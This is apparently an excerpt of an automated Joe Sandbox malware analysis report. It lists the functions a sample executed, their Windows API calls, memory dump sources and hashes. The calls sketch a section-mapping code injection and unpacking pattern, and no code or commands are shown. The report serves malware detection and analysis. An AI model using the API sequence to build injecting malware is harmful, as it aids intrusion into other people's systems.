Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000006.00000002.2106132142.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_derhswe.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction ID: b5ca90d31d4069b8fd1e735589466699ca1bb5e14181e618ca72d4e2f39bbf06
Opcode Fuzzy Hash: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction Fuzzy Hash: D101D2B6608204EBDB019AF49C62A7A37549F44315F200137FA53790F1D67D8643E72F

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000006.00000002.2106132142.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_derhswe.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction ID: 0621b20c29367ada74e4c9127c9a5516285bec5e68af8f441e6b7f153e3f788d
Opcode Fuzzy Hash: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction Fuzzy Hash: 11017CB560C204EAEB109AA49C61A7A3318AB44354F304537FA27790F5D67D9612E72F

Function 0075171B Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0075176C

Memory Dump Source

Source File: 00000006.00000002.2106596720.000000000073F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0073F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_73f000_derhswe.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 35c5b9b3f2a2ef9f07315d74e3fbe3e581bf782ef84bf22d70a5147eed904d3f
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: FB113C79A00208EFDB01DF98C985E98BBF5EF08351F0580A4F9489B362D775EA90DF80

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000006.00000002.2106132142.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_derhswe.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction ID: ea6e3854d66af35421fcd7571e0742f45a6e64d38424a4e1b6315f5079e28d0a
Opcode Fuzzy Hash: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction Fuzzy Hash: 28F08CB6208204EADB00AEA49C61EBA3318AB44314F304533FB23790F5C67D8612E72F

Analysis Process: 1D0F.exePID: 1308, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	34.4%
Signature Coverage:	0%
Total number of Nodes:	151
Total number of Limit Nodes:	6

Executed Functions

Function 004014FB Relevance: 10.8, APIs: 7, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0c0f7080bca9052c17eb5f435a0de39dc556564f0894fb09fbcd269735ed19c
Instruction ID: 8456862ab07ee4fd5df19115d19177d22808884b2e91bbb4bd05fd593ecc01b1
Opcode Fuzzy Hash: c0c0f7080bca9052c17eb5f435a0de39dc556564f0894fb09fbcd269735ed19c
Instruction Fuzzy Hash: CFA1E3B1604215BFDF218F95CC45FAB7BB8EF82710F14006BE942BB1E1D6399902DB5A

Function 004015FB Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8aaa4946e75727fc09ad2f405e2a017ad71aadc6c477ed290025760324e3469e
Instruction ID: eff60cd738278fe88036fd12be8a847ac689736a027776baabbfcbb81c570d02
Opcode Fuzzy Hash: 8aaa4946e75727fc09ad2f405e2a017ad71aadc6c477ed290025760324e3469e
Instruction Fuzzy Hash: 20512DB4900205BBEF208F91CC48FAFBBB8EF85B00F14416AF911BA2E5D7759945CB64

Function 00401613 Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ad766b3969fddc35dc3ff1f72950dd3bc16db4ac8334f03efc3fd571d50c1c7d
Instruction ID: 5fe8c3412efddb1af6587580d34f391b5aa6f3f620f4969ff4058e4fba2aebcc
Opcode Fuzzy Hash: ad766b3969fddc35dc3ff1f72950dd3bc16db4ac8334f03efc3fd571d50c1c7d
Instruction Fuzzy Hash: 385129B5900245BBEF218F91CC48FEFBBB8EF86B00F144169F911AA2A5D7719905CB64

Function 00401606 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: e0c996b45f475bcdee2b3acca27bfff8738185ab06689bd0def3de9b12292fcf
Instruction ID: 18644dced9cd2caf62a4109051f94e3e0c196277adac1f1b80d81581f0248fb5
Opcode Fuzzy Hash: e0c996b45f475bcdee2b3acca27bfff8738185ab06689bd0def3de9b12292fcf
Instruction Fuzzy Hash: 95512AB4900245BBEF208F91CC48FAFBBB8EF85B00F14416AF911BA2E5D7759941CB64

Function 00401627 Relevance: 10.7, APIs: 7, Instructions: 170
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8ea2bb8e40d2b6bb7fcf7676f7409f4a6beb0c313e7b1c0bb420ab3e3f8254c1
Instruction ID: 9010f4212e2f095ee6e1513bebcb31b7ed322fe9e8888bc62802b8a5d7df5652
Opcode Fuzzy Hash: 8ea2bb8e40d2b6bb7fcf7676f7409f4a6beb0c313e7b1c0bb420ab3e3f8254c1
Instruction Fuzzy Hash: 795128B4900249BBEF208F91CC48FAFBBB8EF85B00F140169F911BA2A5D7759941CB64

Function 00401641 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a951ce0e9a9537201a4ab380c462e1ce4e6ed323a6f782408602592e2a1882ae
Instruction ID: 9e1831f0ceb5ee828940fa86c31e9463c4dc41faf1b0eb7057c6f8c584aa9f8c
Opcode Fuzzy Hash: a951ce0e9a9537201a4ab380c462e1ce4e6ed323a6f782408602592e2a1882ae
Instruction Fuzzy Hash: 2A5109B5900249BFEF208F91CC48FEFBBB8EF86B00F104159F911AA2A5D7719945CB64

Function 00403103 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040322B
NtTerminateProcess.NTDLL ref: 0040323C

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction ID: dae095e867f3745097cc185a7748a697303a2d44691d7cc8a0ebaf8866640ae2
Opcode Fuzzy Hash: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction Fuzzy Hash: BB415832618E0C8FD768EE6CA8896A377D6E798351B1643BAD808D7384EE30D85183C5

Function 00403257 Relevance: 3.1, APIs: 2, Instructions: 83
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040322B
NtTerminateProcess.NTDLL ref: 0040323C

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8f75c49c67d658a2c62e27a3415f0efa1266b4aad096af7960056c4103048e13
Instruction ID: ab58b7d6b66510dde6bc1fc7e766791280fd84229bd7d6ef16cc780df24ac814
Opcode Fuzzy Hash: 8f75c49c67d658a2c62e27a3415f0efa1266b4aad096af7960056c4103048e13
Instruction Fuzzy Hash: FC1156B181C6448FE714DF78A44A23A7FE4E754326F2407BFD446E12D1D63C8246824B

Function 005F003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 005F024D

Strings

cess, xrefs: 005F018D
kernel32.dll, xrefs: 005F008F, 005F0095

Memory Dump Source

Source File: 00000007.00000002.2263700057.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f0000_1D0F.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 4b65ce4eff50f675edf1d61a99df40599f3613a345a7b7b0bfdd16d4a1f72893
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: B9526974A01229DFDB64CF58C984BA8BBB1BF09304F1480D9E54DAB392DB34AE85DF14

Function 0076EFFD Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0076F025
Module32First.KERNEL32(00000000,00000224), ref: 0076F045

Memory Dump Source

Source File: 00000007.00000002.2264057033.000000000075D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0075D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_75d000_1D0F.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 3b0da6448144e833350baf14c0413bfa9b44beff34f66378e02ec7a964e876ab
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 68F096361007156BD7203BF5FD8DB6E76E9AF49764F100538FA43910C1DB74EC464661

Function 005F0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,005F0223,?,?), ref: 005F0E19
SetErrorMode.KERNELBASE(00000000,?,?,005F0223,?,?), ref: 005F0E1E

Memory Dump Source

Source File: 00000007.00000002.2263700057.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f0000_1D0F.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d5a6bee1921c2ef6b516d6639c820d1612de59ea02b9ca9833ad81ad95a80bb3
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 21D0123154512CB7D7002A94DC09BDD7F1CDF05B62F048411FB0DD9081C774994046E5

Function 004019C0 Relevance: 1.3, APIs: 1, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7f12bac4f1dd78845df68974ec1d6207e79698338a7a17bde6cb34e1bb9e829b
Instruction ID: 8602aea7765920f14b43c6808a0d2033de268e003b0f0e4b19403496b7ccbc2b
Opcode Fuzzy Hash: 7f12bac4f1dd78845df68974ec1d6207e79698338a7a17bde6cb34e1bb9e829b
Instruction Fuzzy Hash: 2B11CE3230A205EADB005AD9A941FBB32199B40754F3041B7B603B90F1953D8913BF2F

Function 004019E0 Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e17e85e8ed8125533f7e2167abb1cbc7a5f98fbf5ea5e47149eeb4735b4555ca
Instruction ID: 6e8e83dbc6cb5325300a6df4c81bf03677ed1736eef4dabc06710691df282c78
Opcode Fuzzy Hash: e17e85e8ed8125533f7e2167abb1cbc7a5f98fbf5ea5e47149eeb4735b4555ca
Instruction Fuzzy Hash: FA016D3230A209EADB005AD8AD41E7B3229AB40754F3001B7BA03790F1953D99137F2F

Function 004019EB Relevance: 1.3, APIs: 1, Instructions: 54
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d20dd15212e55eeb93c2ba4d893d672a11c9591f500a1070bb8e30cefc0e7994
Instruction ID: 2b2adc88e5ab551374836522510027b0c35959e32ac3f93f20a40eb2707c2e9b
Opcode Fuzzy Hash: d20dd15212e55eeb93c2ba4d893d672a11c9591f500a1070bb8e30cefc0e7994
Instruction Fuzzy Hash: C2014C3230A205EBDB009AD4ED41B6A3269AB44714F3041B7BA13B91F1D53D9A537F2B

Function 00401A04 Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6956420fd1a0da5a043187b5517324543cb26d58a43067072202fc2494389932
Instruction ID: 8da435b4ef065fa937355dde1d01ef47451206c1f83fca999a74837282515cb4
Opcode Fuzzy Hash: 6956420fd1a0da5a043187b5517324543cb26d58a43067072202fc2494389932
Instruction Fuzzy Hash: 8B01363630A209EADB005AD8AD41EBA22559B44314F3042B7BA13B91F5D53D8A137F2F

Function 004019FD Relevance: 1.3, APIs: 1, Instructions: 49sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 470eaab1d85efef32b59b6b80de91dfe5f43d1552a0586931a32e3bd1b407b26
Instruction ID: da9cf87a9ed9cba2a5618582a19ce6b128e8deecbf4ee8231104359b1f28a93a
Opcode Fuzzy Hash: 470eaab1d85efef32b59b6b80de91dfe5f43d1552a0586931a32e3bd1b407b26
Instruction Fuzzy Hash: 4601863230A209EADB005AD49D41FBA22199B44714F3041B7BA13B90F1D53D8A137F2F

Function 0076ECBC Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0076ED0D

Memory Dump Source

Source File: 00000007.00000002.2264057033.000000000075D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0075D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_75d000_1D0F.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 80aa69571d4a516885e739d5ad535428cc02fec2ef88312d5ba01738a350d2bd
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 89113C79A00208EFDB01DF98C985E99BBF5AF08750F198094F9489B362D375EA90DF90

Function 00401A15 Relevance: 1.3, APIs: 1, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 47584117f720a46a046c478722b1e9804fa2bdf0c34a1eb8c3916f7c7194f890
Instruction ID: ef4a3633df93866afb86b86826f27a476d683f03040323dac8a7d7c578d0eba4
Opcode Fuzzy Hash: 47584117f720a46a046c478722b1e9804fa2bdf0c34a1eb8c3916f7c7194f890
Instruction Fuzzy Hash: 17F04432309206EBDB01AAD4DD41FAA3229AB44354F3041B7BA13B90F1D53C86127F2B

Function 00401A20 Relevance: 1.3, APIs: 1, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e9f1e890604c892da627bf4dac1adaaf6327a8231f252b78f611ae96bce34966
Instruction ID: 08c596e776171f083f15ab2e9130eea247f108212a51f0ba4fb69116c36cf548
Opcode Fuzzy Hash: e9f1e890604c892da627bf4dac1adaaf6327a8231f252b78f611ae96bce34966
Instruction Fuzzy Hash: 4BF0FF3230A209EADB005AD59D51EAA26699B44354F3041B7BA13B90F1D53D8A137F2B

Non-executed Functions

Function 00401E65 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2263348545.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1D0F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39ba6718c5b4acb6fcb90013f1bab96879de86035533205ab17ba445abaee414
Instruction ID: 6725721ff3489d431dd836171e340eb16c8ebd58ca09b28f7b875ac3b9798d56
Opcode Fuzzy Hash: 39ba6718c5b4acb6fcb90013f1bab96879de86035533205ab17ba445abaee414
Instruction Fuzzy Hash: 43F0273A30669697DB135E7CD0009CCFF10FD6B6207B88BD2D0C09A141C222845BCB90

Analysis Process: jfrhswePID: 332, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	14.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	50
Total number of Limit Nodes:	2

Executed Functions

Function 0070003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

